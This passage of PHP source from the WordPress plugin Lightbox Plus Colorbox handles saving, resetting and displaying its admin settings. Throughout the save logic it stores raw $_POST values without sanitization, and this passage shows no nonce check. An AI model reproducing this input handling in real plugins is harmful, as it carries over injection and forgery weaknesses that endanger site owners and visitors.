							"bottom"               => $_POST['bottom'],
							"left"                 => $_POST['left'],
							"right"                => $_POST['right'],
							"fixed"                => $_POST['fixed']
						);

						$g_lbp_message_title .= __( 'Lightbox Plus Colorbox Setting Saved', 'lightboxplus' );
						$g_lbp_messages .= __( 'Lightbox Plus Colorbox base settings updated.', 'lightboxplus' ) . '<br /><br />';
						$g_lbp_messages .= __( 'Primary lightbox settings updated.', 'lightboxplus' ) . '<br /><br />';

						if ( $_POST['lightboxplus_multi'] && isset( $_POST['ready_sec'] ) ) {
							$lightboxPlusSecondaryOptions = array(
								"transition_sec"       => $_POST['transition_sec'],
								"speed_sec"            => $_POST['speed_sec'],
								"width_sec"            => $_POST['width_sec'],
								"height_sec"           => $_POST['height_sec'],
								"inner_width_sec"      => $_POST['inner_width_sec'],
								"inner_height_sec"     => $_POST['inner_height_sec'],
								"initial_width_sec"    => $_POST['initial_width_sec'],
								"initial_height_sec"   => $_POST['initial_height_sec'],
								"max_width_sec"        => $_POST['max_width_sec'],
								"max_height_sec"       => $_POST['max_height_sec'],
								"resize_sec"           => $_POST['resize_sec'],
								"opacity_sec"          => $_POST['opacity_sec'],
								"preloading_sec"       => $_POST['preloading_sec'],
								"label_image_sec"      => $_POST['label_image_sec'],
								"label_of_sec"         => $_POST['label_of_sec'],
								"previous_sec"         => $_POST['previous_sec'],
								"next_sec"             => $_POST['next_sec'],
								"close_sec"            => $_POST['close_sec'],
								"overlay_close_sec"    => $_POST['overlay_close_sec'],
								"slideshow_sec"        => $_POST['slideshow_sec'],
								"slideshow_auto_sec"   => $_POST['slideshow_auto_sec'],
								"slideshow_speed_sec"  => $_POST['slideshow_speed_sec'],
								"slideshow_start_sec"  => $_POST['slideshow_start_sec'],
								"slideshow_stop_sec"   => $_POST['slideshow_stop_sec'],
								"iframe_sec"           => $_POST['iframe_sec'],
								//"use_class_method_sec" => $_POST['use_class_method_sec'],
								"class_name_sec"       => $_POST['class_name_sec'],
								"no_display_title_sec" => $_POST['no_display_title_sec'],
								"scrolling_sec"        => $_POST['scrolling_sec'],
								"photo_sec"            => $_POST['photo_sec'],
								"rel_sec"              => $_POST['rel_sec'], //Disable grouping
								"loop_sec"             => $_POST['loop_sec'],
								"esc_key_sec"          => $_POST['esc_key_sec'],
								"arrow_key_sec"        => $_POST['arrow_key_sec'],
								"top_sec"              => $_POST['top_sec'],
								"bottom_sec"           => $_POST['bottom_sec'],
								"left_sec"             => $_POST['left_sec'],
								"right_sec"            => $_POST['right_sec'],
								"fixed_sec"            => $_POST['fixed_sec']
							);
							$lightboxPlusOptions          = array_merge( $lightboxPlusOptions, $lightboxPlusSecondaryOptions );
							unset( $lightboxPlusSecondaryOptions );
							$g_lbp_messages .= __( 'Secondary lightbox settings updated.', 'lightboxplus' ) . '<br /><br />';
						}

						if ( $_POST['use_inline'] && isset( $_POST['ready_inline'] ) ) {
							if ( ! empty( $this->lightboxOptions ) ) {
								$lightboxPlusInlineOptions = $this->getAdminOptions( $this->lightboxOptionsName );
							}

							if ( $lightboxPlusInlineOptions['use_inline'] && $lightboxPlusInlineOptions['inline_num'] != '' ) {
								$inline_links            = array();
								$inline_hrefs            = array();
								$inline_transitions      = array();
								$inline_speeds           = array();
								$inline_widths           = array();
								$inline_heights          = array();
								$inline_inner_widths     = array();
								$inline_inner_heights    = array();
								$inline_max_widths       = array();
								$inline_max_heights      = array();
								$inline_position_tops    = array();
								$inline_position_rights  = array();
								$inline_position_bottoms = array();
								$inline_position_lefts   = array();
								$inline_fixeds           = array();
								$inline_opens            = array();
								$inline_opacitys         = array();
								for ( $i = 1; $i <= $lightboxPlusInlineOptions['inline_num']; $i ++ ) {
									$inline_links[]            = $_POST["inline_link_$i"];
									$inline_hrefs[]            = $_POST["inline_href_$i"];
									$inline_transitions[]      = $_POST["inline_transition_$i"];
									$inline_speeds[]           = $_POST["inline_speed_$i"];
									$inline_widths[]           = $_POST["inline_width_$i"];
									$inline_heights[]          = $_POST["inline_height_$i"];
									$inline_inner_widths[]     = $_POST["inline_inner_width_$i"];
									$inline_inner_heights[]    = $_POST["inline_inner_height_$i"];
									$inline_max_widths[]       = $_POST["inline_max_width_$i"];
									$inline_max_heights[]      = $_POST["inline_max_height_$i"];
									$inline_position_tops[]    = $_POST["inline_position_top_$i"];
									$inline_position_rights[]  = $_POST["inline_position_right_$i"];
									$inline_position_bottoms[] = $_POST["inline_position_bottom_$i"];
									$inline_position_lefts[]   = $_POST["inline_position_left_$i"];
									$inline_fixeds[]           = $_POST["inline_fixed_$i"];
									$inline_opens[]            = $_POST["inline_open_$i"];
									$inline_opacitys[]         = $_POST["inline_opacity_$i"];
								}
							}

							$lightboxPlusInlineOptions = array(
								"inline_links"            => $inline_links,
								"inline_hrefs"            => $inline_hrefs,
								"inline_transitions"      => $inline_transitions,
								"inline_speeds"           => $inline_speeds,
								"inline_widths"           => $inline_widths,
								"inline_heights"          => $inline_heights,
								"inline_inner_widths"     => $inline_inner_widths,
								"inline_inner_heights"    => $inline_inner_heights,
								"inline_max_widths"       => $inline_max_widths,
								"inline_max_heights"      => $inline_max_heights,
								"inline_position_tops"    => $inline_position_tops,
								"inline_position_rights"  => $inline_position_rights,
								"inline_position_bottoms" => $inline_position_bottoms,
								"inline_position_lefts"   => $inline_position_lefts,
								"inline_fixeds"           => $inline_fixeds,
								"inline_opens"            => $inline_opens,
								"inline_opacitys"         => $inline_opacitys
							);

							$lightboxPlusOptions = array_merge( $lightboxPlusOptions, $lightboxPlusInlineOptions );
							unset( $lightboxPlusInlineOptions );
							$g_lbp_messages .= __( 'Inline lightbox settings updated.', 'lightboxplus' ) . '<br /><br />';
						}

						$this->saveAdminOptions( $this->lightboxOptionsName, $lightboxPlusOptions );

						/**
						 * Load options info array if not yet loaded
						 */
						if ( ! empty( $this->lightboxOptions ) ) {
							$lightboxPlusOptions = $this->getAdminOptions( $this->lightboxOptionsName );
						}

						/**
						 * Initialize Custom lightbox Plus Path
						 */
						if ( $_POST['use_custom_style'] && ! is_dir( $g_lbp_global_style_path ) ) {
							$dir_create_result = $this->lightboxPlusGlobalStylesinit();
							if ( $dir_create_result ) {
								$g_lbp_messages .= __( 'Lightbox custom styles initialized.', 'lightboxplus' ) . '<br /><br />';
							} else {
								$g_lbp_messages .= __( '<strong style="color:#900;">Lightbox custom styles initialization failed.</strong><br />Please create a directory called <code>lbp-css</code> in your <code>wp-content</code> directory and copy the styles located in <code>wp-content/plugins/lightbox-plus/css/</code> to <code>wp-content/lbp-css</code>', 'lightboxplus' ) . '<br /><br />';
							}
						}

						/**
						 * Initialize Secondary Lightbox if enabled
						 */
						if ( $_POST['lightboxplus_multi'] && ! isset( $_POST['class_name_sec'] ) ) {
							$this->lightboxPlusSecondaryInit();
							$g_lbp_messages .= __( 'Secondary lightbox settings initialized.', 'lightboxplus' ) . '<br /><br />';
						}
						/**
						 *  Initialize Inline Lightboxes if enabled
						 */
						if ( $_POST['use_inline'] && ! isset( $_POST['inline_link_1'] ) ) {
							$this->lightboxPlusInlineInit( $_POST['inline_num'] );
							$g_lbp_messages .= __( 'Inline lightbox settings initialized.', 'lightboxplus' ) . '<br /><br />';
						}

						unset( $lightboxPlusOptions );

						break;
					case 'reset':
						if ( ! empty( $_POST['reinit_lightboxplus'] ) ) {
							delete_option( $this->lightboxOptionsName );
							delete_option( $this->lightboxInitName );
							delete_option( $this->lightboxStylePathName );
							$g_lbp_message_title .= __( 'Lightbox Plus Colorbox Reset', 'lightboxplus' );
							$g_lbp_messages .= '<strong>' . __( 'Lightbox Plus Colorbox has been completely reset to default settings.', 'lightboxplus' ) . '</strong><br /><br />';

							/**
							 * Used to remove old setting from previous versions of LBP
							 *
							 * @var string
							 */
							$pluginPath = ( dirname( __FILE__ ) );
							if ( file_exists( $pluginPath . "/images" ) ) {
								$g_lbp_messages .= __( 'Deleting: ' ) . $pluginPath . '/images . . . ' . __( 'Removed old Lightbox Plus Colorbox style images.', 'lightboxplus' ) . '<br /><br />';
								$this->delete_directory( $pluginPath . "/images/" );
							} else {
								$g_lbp_messages .= '';
							}
							if ( file_exists( $pluginPath . "/js/" . "lightbox.js" ) ) {
								$g_lbp_messages .= __( 'Deleting: ', 'lightboxplus' ) . $pluginPath . '/js/lightbox.js . . . ' . __( 'Removed old Lightbox Plus Colorbox JavaScript.', 'lightboxplus' ) . '<br /><br />';
								$this->delete_file( $pluginPath . "/js", "lightbox.js" );
							} else {
								$g_lbp_messages .= '';
							}
							$oldStyles = $this->dirList( $pluginPath . "/css/" );
							if ( ! empty( $oldStyles ) ) {
								foreach ( $oldStyles as $value ) {
									if ( file_exists( $pluginPath . "/css/" . $value ) ) {
										$g_lbp_messages .= __( 'Deleting: ' . $pluginPath . '/css/' . $value ) . ' . . . <br /><br />';
										$this->delete_file( $pluginPath . "/css", $value );
									}
								}
								$g_lbp_messages .= __( 'Removed old Lightbox Plus Colorbox styles.', 'lightboxplus' ) . '<br /><br />';
							} else {
								$g_lbp_messages .= '';
							}
						}

						/**
						 * Will reinitilize on reload where option lightboxplus_init is null
						 *
						 * @var wp_lightboxplus
						 */
						$this->lightboxPlusInit();
						$g_lbp_messages .= '<strong>' . __( 'Please check and update your Lightbox Plus Colorbox settings before continuing!', 'lightboxplus' ) . '</strong>';
						break;
					default:
						break;
				}
			}

			/**
			 * Get options to load in form
			 */
			if ( ! empty( $this->lightboxOptions ) ) {
				$lightboxPlusOptions = $this->getAdminOptions( $this->lightboxOptionsName );
			}

			/**
			 * Check if there are styles
			 *
			 * @var mixed
			 */
			if ( $lightboxPlusOptions['use_custom_style'] ) {
				$stylePath = $g_lbp_global_style_path;
			} else {
				$stylePath = $g_lbp_local_style_path;
			}
			if ( $handle = opendir( $stylePath ) ) {
				while ( false !== ( $file = readdir( $handle ) ) ) {
					if ( $file != "." && $file != ".." && $file != ".DS_Store" && $file != ".svn" && $file != "index.html" ) {
						$styles[ $file ] = $stylePath . "/" . $file . "/";
					}
				}
				closedir( $handle );
			}
			?>
			<div class="wrap" id="lightbox">
				<h2><?php _e( 'Lightbox Plus Colorbox (v' . $g_lbp_version . ') Options', 'lightboxplus' ) ?></h2>

				<h3><?php _e( 'With Colorbox (v' . $g_lbp_colorbox_version . ') and PHP Simple HTML DOM Parser (v' . $g_lbp_simple_html_dom_version . ')', 'lightboxplus' ) ?></h3>
				<h4><?php _e( '<a href="http://www.23systems.net/plugins/lightbox-plus/">Visit plugin site</a> |
                        <a href="http://www.23systems.net/wordpress-plugins/lightbox-plus-for-wordpress/frequently-asked-questions/" title="Lightbox Plus Colorbox FAQ">FAQ</a> |
                        <a href="http://twitter.com/23systems" title="@23Systems on Twitter">Twitter</a> | 
                        <a href="http://www.facebook.com/23Systems" title="23Systems on Facebook">Facebook</a> | 
                        <a href="http://www.linkedin.com/company/23systems" title="23Systems of LinkedIn">LinkedIn</a> | 
                    <a href="https://plus.google.com/111641141856782935011/posts" title="23System on Google+">Google+</a>' ); ?> |
					Contribute to Lightbox Plus development costs -
					<form action="https://www.paypal.com/cgi-bin/webscr" method="post" target="_top" class="inline-donate">
						<input type="hidden" name="cmd" value="_s-xclick">
						<input type="hidden" name="hosted_button_id" value="9BKF2TJGV84S6">
						<input type="image" src="https://www.paypalobjects.com/en_US/i/btn/btn_donate_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!">
						<img alt="" border="0" src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1" height="1">
					</form>
				</h4>

				<?php
				if ( $g_lbp_messages ) {
					echo '<div id="lbp_message" title="' . $g_lbp_message_title . '" style="display:none">' . $g_lbp_messages . '</div>';
					echo '<script type="text/javascript">';
					echo 'jQuery(document).ready(function($){';
					echo '  $("#lbp_message").dialog({ buttons: { "Ok": function() { $(this).dialog("close"); } },open: function() { $(".ui-dialog").fadeOut(9000); },resizable:false,width: 480 });';
					echo '});';
					echo '</script>';
				}
				require( 'admin/lightbox.admin.php' );
				?></div>
		<?php
		}
		/**
		 * END CLASS
		 */
	}
	/**
	 * END CLASS CHECK
	 */
}
/**
 * Instantiate the class
 */
if ( class_exists( 'wp_lightboxplus' ) ) {
	$wp_lightboxplus = new wp_lightboxplus();
}